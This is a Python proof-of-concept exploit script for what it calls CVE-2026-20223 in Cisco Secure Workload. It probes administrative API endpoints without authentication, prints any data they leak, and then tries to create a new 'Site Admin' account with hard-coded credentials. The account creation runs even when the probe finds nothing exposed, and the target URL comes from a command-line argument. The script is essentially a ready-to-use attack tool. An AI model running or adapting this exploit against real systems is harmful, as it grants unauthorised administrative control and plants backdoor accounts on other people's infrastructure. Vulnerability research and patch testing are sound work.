import requests import json import urllib3 import logging import sys import argparse from urllib.parse import urljoin from datetime import datetime # Disable SSL warnings for lab environments urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class CiscoSecureWorkloadPoC: def __init__(self, target_url, log_file=None): self.target = target_url.rstrip('/') self.logger = self._setup_logging(log_file) self.session = requests.Session() self.session.verify = False self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (compatible; PoC-CVE-2026-20223)', 'Content-Type': 'application/json' }) def _setup_logging(self, log_file=None): logger = logging.getLogger('CVE-2026-20223') logger.setLevel(logging.INFO) # Console handler console_handler = logging.StreamHandler(sys.stdout) console_handler.setLevel(logging.INFO) console_format = logging.Formatter('[%(levelname)s] %(message)s') console_handler.setFormatter(console_format) # File handler (optional) if log_file: file_handler = logging.FileHandler(log_file) file_handler.setLevel(logging.DEBUG) file_format = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s') file_handler.setFormatter(file_format) logger.addHandler(file_handler) logger.addHandler(console_handler) return logger def test_unauth_site_admin_access(self): """Test direct access to privileged internal APIs""" endpoints = [ "/api/v1/users", "/api/v1/roles", "/api/v1/sites", "/api/v1/admin/users", "/api/v1/internal/agents", "/api/v1/scopes", "/api/v1/policies", "/api/v1/system/info", ] self.logger.info(f"Starting CVE-2026-20223 vulnerability test against: {self.target}") self.logger.info(f"Test started at: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n") vulnerable_endpoints = [] for endpoint in endpoints: url = urljoin(self.target, endpoint) try: # GET Request self.logger.debug(f"Testing GET {endpoint}") resp = self.session.get(url, timeout=12) status = resp.status_code self.logger.info(f"GET {endpoint:40} → {status}", extra={'status': status}) if status in [200, 201, 204]: self.logger.warning(f"āœ… VULNERABLE: {endpoint} returned {status} without authentication!") vulnerable_endpoints.append(endpoint) try: if resp.text and len(resp.text) < 800: preview = resp.text[:300].replace('\n', ' ') self.logger.info(f" Preview: {preview}...") except: pass elif status == 401: self.logger.info(f"šŸ”’ {endpoint} requires authentication (likely patched)") elif status == 403: self.logger.info(f"🚫 {endpoint} returned Forbidden") else: self.logger.info(f" {endpoint} returned unexpected status: {status}") # Try POST if GET was successful if status in [200, 201, 204]: self._test_post(endpoint, url) except requests.exceptions.Timeout: self.logger.error(f"ā±ļø Timeout while accessing {endpoint}") except requests.exceptions.ConnectionError: self.logger.error(f"āŒ Connection refused / unreachable: {endpoint}") except requests.exceptions.RequestException as e: self.logger.error(f"āŒ Request error on {endpoint}: {str(e)}") except Exception as e: self.logger.error(f"āŒ Unexpected error on {endpoint}: {str(e)}") if vulnerable_endpoints: self.logger.critical(f"\n🚨 POTENTIALLY VULNERABLE! Found {len(vulnerable_endpoints)} exposed endpoints.") else: self.logger.info("\nāœ… No obvious unauthenticated access detected (may be patched).") def _test_post(self, endpoint, url): """Test POST request on vulnerable endpoints""" try: payload = { "username": "poc_cve202620223", "password": "PocPass123!@#", "role": "Site Admin", "email": "poc@testing.local", "firstName": "PoC", "lastName": "CVE-2026-20223" } resp = self.session.post(url, json=payload, timeout=10) self.logger.info(f"POST {endpoint:40} → {resp.status_code}") if resp.status_code in [200, 201]: self.logger.critical("šŸŽÆ SUCCESS: Able to create Site Admin user via unauthenticated API!") try: self.logger.info(json.dumps(resp.json(), indent=2)) except: self.logger.info(resp.text[:400]) except Exception as e: self.logger.debug(f"POST test failed on {endpoint}: {str(e)}") def create_admin_user(self): """Attempt to create a new Site Admin user""" self.logger.info("\n[+] Attempting to create Site Admin user...") url = urljoin(self.target, "/api/v1/users") payload = { "username": "cve202620223_admin", "password": "Poc123!@#", "role": "Site Admin", "email": "admin@compromised.local", "firstName": "CVE", "lastName": "2026-20223" } try: resp = self.session.post(url, json=payload, timeout=10) if resp.status_code in [200, 201]: self.logger.critical("āœ… Successfully created Site Admin user!") try: self.logger.info(json.dumps(resp.json(), indent=2)) except: self.logger.info(resp.text) else: self.logger.error(f"āŒ Failed to create user. Status: {resp.status_code}") self.logger.debug(f"Response: {resp.text[:500]}") except Exception as e: self.logger.error(f"āŒ Error creating admin user: {str(e)}") def main(): parser = argparse.ArgumentParser(description="CVE-2026-20223 PoC - Cisco Secure Workload") parser.add_argument("-t", "--target", required=True, help="Target URL (e.g. https://secure-workload.company.com)") parser.add_argument("-l", "--log", help="Log file path (optional)") parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose logging") args = parser.parse_args() if args.verbose: logging.getLogger().setLevel(logging.DEBUG) poc = CiscoSecureWorkloadPoC(args.target, args.log) try: poc.test_unauth_site_admin_access() poc.create_admin_user() except KeyboardInterrupt: poc.logger.info("\n[!] Test interrupted by user.") except Exception as e: poc.logger.critical(f"Critical error: {str(e)}") if __name__ == "__main__": main()